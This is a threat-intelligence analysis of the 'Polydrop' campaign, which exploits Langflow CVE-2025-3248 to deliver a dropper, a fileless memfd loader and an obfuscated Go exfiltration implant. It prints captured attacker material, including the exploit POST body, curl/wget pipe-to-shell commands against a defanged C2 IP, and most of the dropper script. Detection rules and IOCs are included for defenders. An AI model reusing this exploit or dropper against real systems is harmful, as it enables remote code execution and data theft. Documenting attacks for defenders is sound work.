← All campaigns

Polydrop: Dissecting a Four-Stage Implant Chain Delivered via Langflow RCE

Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser.

T1190T1059.006T1027T1543T1041T1055

Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser. It is popular with small teams and individual developers, and because it is meant to be a workspace tool, it often ends up exposed to the internet without any authentication in front of it. That makes it a target.

In mid-2025, a critical vulnerability was found in Langflow (CVE-2025-3248): its code-validation endpoint evaluates submitted Python with no login required. It was added to the CISA Known Exploited Vulnerabilities catalog and defenders were told to patch. Many did not.

Over a year later, we watched two separate operators exploit that same unpatched vulnerability on one of our internet-facing Langflow instances, four days apart. Both delivered their payloads from the same command-and-control server. Different source IPs, different tooling fingerprints, same backend. That leads us to believe they are part of one campaign.

The payloads looked alarming at first: 287 byte-unique files, each with a different hash. Per-victim polymorphism usually means sophisticated malware that mutates its own code. We pulled six samples and compared them line by line. 32 of 33 lines were identical. The only thing that changed was a random temporary filename. One structural detection rule catches all 287 builds and every future build the server will ever generate.

But the dropper was only the first stage. We followed the delivery chain through three more stages, each more evasive than the last, recovering and reverse-engineering every artifact along the way. The final payload turned out to be something considerably more interesting than the dropper suggested: a modular implant framework built for data exfiltration to Alibaba Cloud, with persistence across four different Linux service managers, proxy tunneling, and a custom command-and-control protocol that delivers all targeting instructions at runtime so nothing about the operator’s objectives appears in the binary itself.

This is the step-by-step walkthrough.

Every payload, command string, and binary quoted below is captured attacker input, reproduced for analysis. None of it is an instruction to run.

Step 1: The exploit

Both operators targeted Langflow’s /api/v1/validate/code endpoint. This endpoint is meant to validate user-supplied Python before it runs in a pipeline. The vulnerability is that it evaluates the submitted code with no authentication, and critically, it evaluates default-argument expressions of any function it finds. The operator hides the malicious call in a default argument so it fires at “validation” time, without the function ever being called.

Captured exploit body:

POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{"code": "\ndef run(cd=exec('raise Exception(__import__(\"subprocess\")
.check_output(\"curl -fsSL hxxp://149[.]104[.]29[.]201:8111/log.sh | sh\",
shell=True))')): pass\n"}

The result: the server fetches a shell script from the attacker’s C2 and executes it. Three variants were captured, differing only in the filename and port:

curl -fsSL hxxp://149[.]104[.]29[.]201:8111/log.sh | sh
(curl -fsSL -m180 hxxp://149[.]104[.]29[.]201:8455/slt ||
 wget -T180 -q hxxp://149[.]104[.]29[.]201:8455/slt) | sh
curl -fsSL hxxp://149[.]104[.]29[.]201:8111/set.sh | sh

This follows the same pattern as publicly available exploit code for this CVE. The operators are running off-the-shelf tooling, not custom exploits. The wget and Python urllib fallbacks (visible in the dropper source below) show the operator is building for scale: they want the download to succeed regardless of which tools are installed on the victim.

Step 2: The dropper

The fetched file is a 1,816-byte shell script. Here is what it does, with the recovered source:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex   >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex       >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=l64&stage=true"
l32="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=l32&stage=true"
a64="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=a64&stage=true"
a32="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=a32&stage=true"

v="5a9c31c5tcp"      # <-- THE ONLY LINE THAT VARIES PER BUILD
rm -rf $v

ARCH=$(uname -m)
if   [ ${ARCH}x = "x86_64x" ];  then (curl -fsSL -m180 $l64 -o $v || ...)
elif [ ${ARCH}x = "i386x" ];    then (curl -fsSL -m180 $l32 -o $v || ...)
elif [ ${ARCH}x = "i686x" ];    then (curl -fsSL -m180 $l32 -o $v || ...)
elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v || ...)
elif [ ${ARCH}x = "armv7lx" ];  then (curl -fsSL -m180 $a32 -o $v || ...)
fi

chmod +x $v
(nohup $(pwd)/$v >/dev/null 2>&1 &) || (nohup ./$v >/dev/null 2>&1 &) || ...

(Each download line tries curl, then wget, then Python urllib as fallbacks. The full unabridged source is in the detection package.)

What the attacker is doing here:

  1. Finding a writable system directory. The script touches a test file called writeablex in /usr/local/bin, /usr/libexec, and /usr/bin in turn. Whichever one succeeds, that is where the next stage gets installed. If nothing works, it falls back to /tmp. This works whether or not the exploited process is root.

  2. Detecting the CPU architecture. The script checks uname -m to determine the victim’s processor type: x86-64, x86-32, ARM64, or ARMv7. The URL parameter a=l64 means “Linux 64-bit,” a=a64 means “ARM 64-bit,” and so on. The same dropper handles cloud servers and ARM IoT/edge devices.

  3. Downloading the next stage. Three download methods ensure the download succeeds even on minimal systems.

  4. Running it in the background. The next stage is detached so it survives the parent shell exiting.

The polymorphism trick. The C2 server stamps a fresh 8-character hex string into the variable v on every request. That variable is just a temporary filename, not logic, but it makes every delivered copy byte-unique. We compared six builds line by line: 32 of 33 lines identical, exactly one varying line. The YARA rule in this package matches the invariant structure and catches all 287 known builds and every future build.

Step 3: The loader goes fileless

The dropper downloads a 9,800-byte Linux executable, a small loader whose job is to fetch the real payload and run it without ever writing it to a findable path on disk.

What the attacker is doing here:

  1. Single-instance lock. Check whether /tmp/log_de.log exists. If so, another copy is already running. Stop.

  2. Connect to the C2. Open a TCP connection to 149[.]104[.]29[.]201:8455 (AS139659, LUCIDACLOUD, geolocated to Hong Kong), retrying every 10 seconds until the server responds.

  3. Send a handshake. A fixed 40-byte message containing the processor architecture (e.g. “Linux 64-bit”), the port number, and the C2 address. This tells the server which build of the final payload to send back.

  4. Receive the payload. The server sends the next stage with a simple single-byte XOR cipher applied (key 0x99). Trivial to reverse, but enough to get past basic content inspection on the wire.

  5. Execute from memory. The loader creates an anonymous in-memory file (a Linux feature called memfd_create that produces a file with no filesystem path). It writes the decoded payload into this memory-only file and runs it directly from there, using a system call called fexecve that executes programs from memory rather than from a file on disk. The final payload never appears as a named file on the filesystem.

  6. Hide in the process list. The loader sets its process name to [kworker/0:2], which mimics a Linux kernel worker thread. A casual look at running processes shows what appears to be a normal kernel task.

The evasion jump is significant. Step 2 writes a file to /usr/bin, which is noisy and easy to find. Step 3 stops doing that entirely. An investigator who searches the disk after the fact will find the dropper’s leftover file and /tmp/log_de.log, but not the real payload.

Step 4: The implant

We recovered the final payload and analyzed it statically (never executed). The C2 was still serving it at the time of analysis.

The payload is a 7.5-megabyte binary written in Go (version 1.20). At that size, it is not a simple script or stager. It is a full application with the Go runtime compiled in.

The operator obfuscated it using garble, an open-source tool that replaces all human-readable function and package names with random tokens (e.g. ojQuzc_T, R9HKQ1C6). This makes reverse engineering harder because you cannot simply search for function names like “Upload” or “Install.” However, garble has a limitation: it scrambles the package and type names but leaves the method names intact. So while the package might be called ojQuzc_T, its methods still say .PutObjectFromFile, .LimitUploadSpeed, and .GetSecurityToken. By matching these method names against the public APIs of known Go libraries, we identified 14 third-party libraries linked into the binary and reconstructed the full capability set. (We used GoReSym, a Mandiant tool that recovers function names and types from compiled Go binaries, to extract the 4,005 application functions.)

What the attacker built, and what it does on a victim machine:

4a. It exfiltrates data to Alibaba Cloud

The implant contains the complete Alibaba Cloud Object Storage upload toolkit (OSS, Alibaba’s equivalent of Amazon S3). It can upload individual files or split large files into parallel chunks for faster transfer. It deliberately limits its own upload speed, consistent with staying below network anomaly thresholds. It supports temporary rotating credentials (a cloud feature called STS, Security Token Service), so the operator can change access keys without redeploying the implant. A worker pool handles multiple uploads in parallel.

This is not a placeholder or proof of concept. The binary contains the full set of OSS authentication headers and the signing algorithm string OSS4-HMAC-SHA256. It is a production-grade exfiltration client.

4b. It receives targeting instructions at runtime

There is no exfiltration endpoint, cloud storage bucket, access key, or target file path anywhere in the binary. No IP address, no domain, no Alibaba Cloud URL.

Instead, the implant has a custom command-and-control protocol with 34 functions for configuration push, heartbeat, value exchange, and task acknowledgment. The TCP connection to 149[.]104[.]29[.]201:8455 (Hong Kong) is not just a delivery channel. It is the management plane. The implant checks in, receives its targeting package (which cloud endpoint, which storage bucket, what credentials, which files to steal), and reports task completion. The operator can retarget deployed implants without rebuilding the binary.

This is a deliberate architectural choice: static analysis alone cannot identify the data destination.

4c. It installs itself as a system service

The implant detects which service manager the host runs and installs the appropriate service type automatically:

  1. systemd (most modern Linux distributions)
  2. SysV init (older Red Hat, CentOS)
  3. upstart (older Ubuntu)
  4. OpenRC (Alpine, Gentoo)

It also interacts with systemd programmatically through Linux’s built-in service management interface (D-Bus) rather than running shell commands, and suppresses shell history during installation by setting HISTFILE=/tmp/.del.

4d. It tunnels through proxies

The implant can route its traffic through an authenticated SOCKS5 proxy (a protocol that forwards traffic through an intermediary server), configured via JSON fields (ProxyHost, ProxyUser, ProxyPassword). This lets the operator obscure the true destination of exfiltrated data from network monitoring.

4e. It leaks its builder’s home directory

Despite the obfuscation, the path /home/vbccsb survives in the binary. This is a build-environment reference that the obfuscation tool did not clean up. vbccsb is the username on the machine where the implant was compiled. This is a durable attribution anchor: any other binary from the same developer will contain the same path.

The operators

Two distinct operators used the same C2 four days apart. Neither is a broad scanner. Both appear only against the Langflow attack surface, which is consistent with operators sharing a proof-of-concept exploit and funneling victims to one shared staging server.

Operator A used the User-Agent string CVE-2025-3248/RCE, a literal CVE identifier hardcoded into their scanning tool. They used two different stage-1 filenames (log.sh on port 8111 and slt on port 8455).

Operator B used the User-Agent string Mozilla/5.0 (mitsec). The string mitsec is distinctive and usable as a hunt indicator. They used a single stage-1 filename (set.sh on port 8111).

Command-and-control infrastructure

IP: 149[.]104[.]29[.]201

All characterization is from passive sources only.

Attribute Value
ASN AS139659, LUCIDACLOUD LIMITED
WHOIS org STARCLOUD GLOBAL PTE. LTD. (Singapore)
Geolocation Hong Kong
BGP prefix 149[.]104[.]29[.]0/24
Open ports 22 (OpenSSH, Debian), 80 (Python web server), 8443, 8888 (nginx)
Delivery ports 8111 and 8455
GreyNoise unknown
Threat feeds absent from DShield, URLhaus, ThreatFox, Feodo Tracker
Passive DNS no real domain associated
Operating window At least 10 days (still serving payloads at time of analysis)

A bare cheap VPS running a Python web server on port 80, payloads on cycling high ports, no real domain. Invisible to commodity threat intelligence. If your detection stack relies only on reputation feeds, you will not see this campaign.

Timeline

When Event
Mid-2025 CVE-2025-3248 added to CISA Known Exploited Vulnerabilities catalog
Over a year later First delivery observed: two operators, four days apart
Shortly after All four stages recovered and reverse-engineered

The first capture is over a year after the vulnerability was cataloged. This is long-tail exploitation of an aging vulnerability. Internet-exposed Langflow instances that were never patched are being actively targeted today.

What defenders should look for

Behavioral rules first (durable), then structural signatures, then atomic indicators (cheap for the operator to change), then what will not work.

Behavioral

  1. Langflow /api/v1/validate/code POST containing exec(, __import__(, subprocess, or check_output in the code field.
  2. A newly-written executable matching ^[0-9a-f]{8}tcp$ in /usr/bin, /usr/libexec, or /usr/local/bin, immediately made executable and launched in the background.
  3. The file writeablex created then deleted in /usr/local/bin, /usr/libexec, or /usr/bin within the same second.
  4. A process named [kworker/0:2] (or similar kernel-thread name) that is not actually a kernel thread. Check /proc/<pid>/exe.
  5. A new systemd service or SysV init script with EnvironmentFile=-/etc/sysconfig/<name> where <name> is unfamiliar.
  6. Outbound connections to Alibaba Cloud OSS (*.oss-*.aliyuncs.com) from a host that does not normally use Alibaba Cloud services.
  7. The file /tmp/log_de.log, a single-instance lock file.
  8. HISTFILE=/tmp/.del set in a shell session.
  9. Outbound connections to a raw IP on a high port with a query string containing &a=l64&stage=true or similar architecture parameters.

Structural (defeats the polymorphism)

The YARA rule in this package matches the invariant dropper template: the writeablex sentinel, the architecture URLs, and the randomized filename assignment. It catches all 287 known builds and every future build.

Atomic indicators (see IOC CSV)

C2 IP, ports, stage-1 filenames, /tmp/log_de.log, sample hashes, User-Agent strings.

What will NOT detect this

  • Hash blocklists. Every dropper build is a unique SHA-256 by design.
  • Disk scanning for the final payload. It runs entirely from memory.
  • Commodity IP reputation. The C2 is in no public feed.

Sample hashes

Stage SHA-256 Size
Stage-3 loader (x86-64) e3455fb41ba8dce83b27931bacdd6596fd8b925305bedb5bdc00640a0e6a1839 9,800 B
Stage-4 implant (x86-64) 39fbfcccf13ab9d65d90c38b37febef37a89ad7341900ab60eee3896123ed2d1 7,864,320 B

Representative dropper hashes are in the IOC CSV. The full set of 287 is available on request (reference campaign tag polydrop).

Detection content

  • polydrop_langflow_rce.yml — Sigma rule for Langflow code-injection requests
  • polydrop_dropper_delivery.yml — Sigma rule for the architecture-staging URL pattern
  • polydrop_dropper.yar — YARA rule for the invariant dropper template
  • polydrop-iocs.csv — atomic indicators

Recommendations

Patch. Update Langflow to a fixed release. Place any internet-exposed Langflow behind authentication. CVE-2025-3248 is a KEV entry. It should not be directly internet-exposed.

Hunt. Run the behavioral checks above across Linux fleets, especially internet-facing servers and ARM edge/IoT devices. Search for writeablex, /tmp/log_de.log, and filenames matching ^[0-9a-f]{8}tcp$ in system directories.

Block. Block 149[.]104[.]29[.]201 and the 149[.]104[.]29[.]0/24 prefix at egress. Deploy the Sigma and YARA rules.

Closing

This campaign moves up an evasion ladder with each stage. The dropper is noisy: it writes a file to a system directory. The loader goes fileless, executing the next stage entirely from memory while hiding behind a kernel thread name. The final implant is a persistent, obfuscated exfiltration framework that receives all of its targeting instructions at runtime, so nothing about the operator’s objectives ever appears on disk.

The build-environment leak (/home/vbccsb) is a reminder that obfuscation tools have blind spots, and those blind spots are where defenders can find durable attribution anchors.

Indicators of Compromise

149[.]104[.]29[.]201
149[.]104[.]29[.]0/24
hxxp://149[.]104[.]29[.]201:8111/log.sh
hxxp://149[.]104[.]29[.]201:8455/slt
hxxp://149[.]104[.]29[.]201:8111/set.sh
?h=<ip>&p=<port>&t=tcp&a=(l64|l32|a64|a32)&stage=true
8111
8455
CVE-2025-3248/RCE
Mozilla/5.0 (mitsec)
CVE-2025-3248
/api/v1/validate/code
writeablex
^[0-9a-f]{8}tcp$
/tmp/log_de.log
e3455fb41ba8dce83b27931bacdd6596fd8b925305bedb5bdc00640a0e6a1839
39fbfcccf13ab9d65d90c38b37febef37a89ad7341900ab60eee3896123ed2d1
00443779c72fffed7cc6d40a6e38f32bd5559dc7382177d0866cdaa6a4fe496a
005161b1d1b1065b7e1621306aaa5f48fc2196f0af4b12cf7d313018101ceb7d
ff7a32719f16ac930510f2ab8b9131fb3ae3680338d085fc182ff05ebf97de14
Process executing from memfd with argv[0] set to [kworker/0:2]
/etc/sysconfig/<service-name>

Detection Rules & IOCs

Three rules, three detection points in the kill chain. A SOC analyst imports all three: together they cover the campaign at initial access, payload delivery, and the artifact itself.

Sigma: Langflow RCE
sigma-polydrop-langflow-rce.yml
DetectsThe initial exploit hitting Langflow (inbound)
DeployWeb server logs, WAF, reverse proxy
When it firesWhen an attacker POSTs exec()/__import__ to /api/v1/validate/code — catches the RCE before the dropper even arrives
Sigma: Delivery
sigma-polydrop-dropper-delivery.yml
DetectsThe dropper's outbound download request (network traffic)
DeployProxy logs, NGFW, DNS-layer security (Zscaler, Palo URL filtering)
When it firesWhen an infected host calls home to fetch the stage-2 implant — the ?t=tcp&a=l64&stage=true query grammar
YARA Rule
yara-polydrop-dropper.yar
DetectsThe dropper file itself (on disk or in a file scan)
DeployEndpoint EDR, file scanning, malware sandbox, email gateway
When it firesWhen the 1.8KB shell script lands on a system — matches the invariant template across all 287+ polymorphic builds
IOC CSV
iocs-polydrop.csv
DetectsAtomic indicators — C2 infrastructure, staging URLs, representative sample hashes

In plain terms

  • YARA — "is this file the dropper?" (file level)
  • Sigma delivery — "is something on my network downloading from this campaign’s C2?" (network level, outbound)
  • Sigma Langflow — "is someone exploiting Langflow right now?" (application level, inbound)

Frequently asked

What is Polydrop?

Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser.

What vulnerability does Polydrop exploit?

Polydrop is delivered by exploiting cve-2025-3248. The full exploitation chain is documented in the analysis above.

What are the indicators of compromise (IOCs) for Polydrop?

Key indicators include 149[.]104[.]29[.]201, 149[.]104[.]29[.]0/24, hxxp://149[.]104[.]29[.]201:8111/log.sh, hxxp://149[.]104[.]29[.]201:8455/slt, hxxp://149[.]104[.]29[.]201:8111/set.sh, ?h=<ip>&p=<port>&t=tcp&a=(l64|l32|a64|a32)&stage=true, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.

How do I detect Polydrop?

Polydrop can be detected with Sigma: Langflow RCE, Sigma: Delivery, YARA Rule, IOC CSV — all downloadable on this page. Three rules, three detection points in the kill chain. A SOC analyst imports all three: together they cover the campaign at initial access, payload delivery, and the artifact itself.

What MITRE ATT&CK techniques does Polydrop use?

Polydrop maps to T1190, T1059.006, T1027, T1543, T1041, T1055.

External references

These indicators are published to the threat-intelligence community. Verify or pull them from:

Browse by
Langflowai-ml-toolingglobalCVE-2025-3248garblealibaba-oss-sdkmemfd-loaderarch-sweep:uname-m->arch-tagged-urlfileless:memfd+fexecvehistory-suppression:HISTFILEruntime-tasking:no-targeting-in-binarydata-exfiltration
fileless-loadermemfd-exec
Subscribe for new analysis Compare with another campaign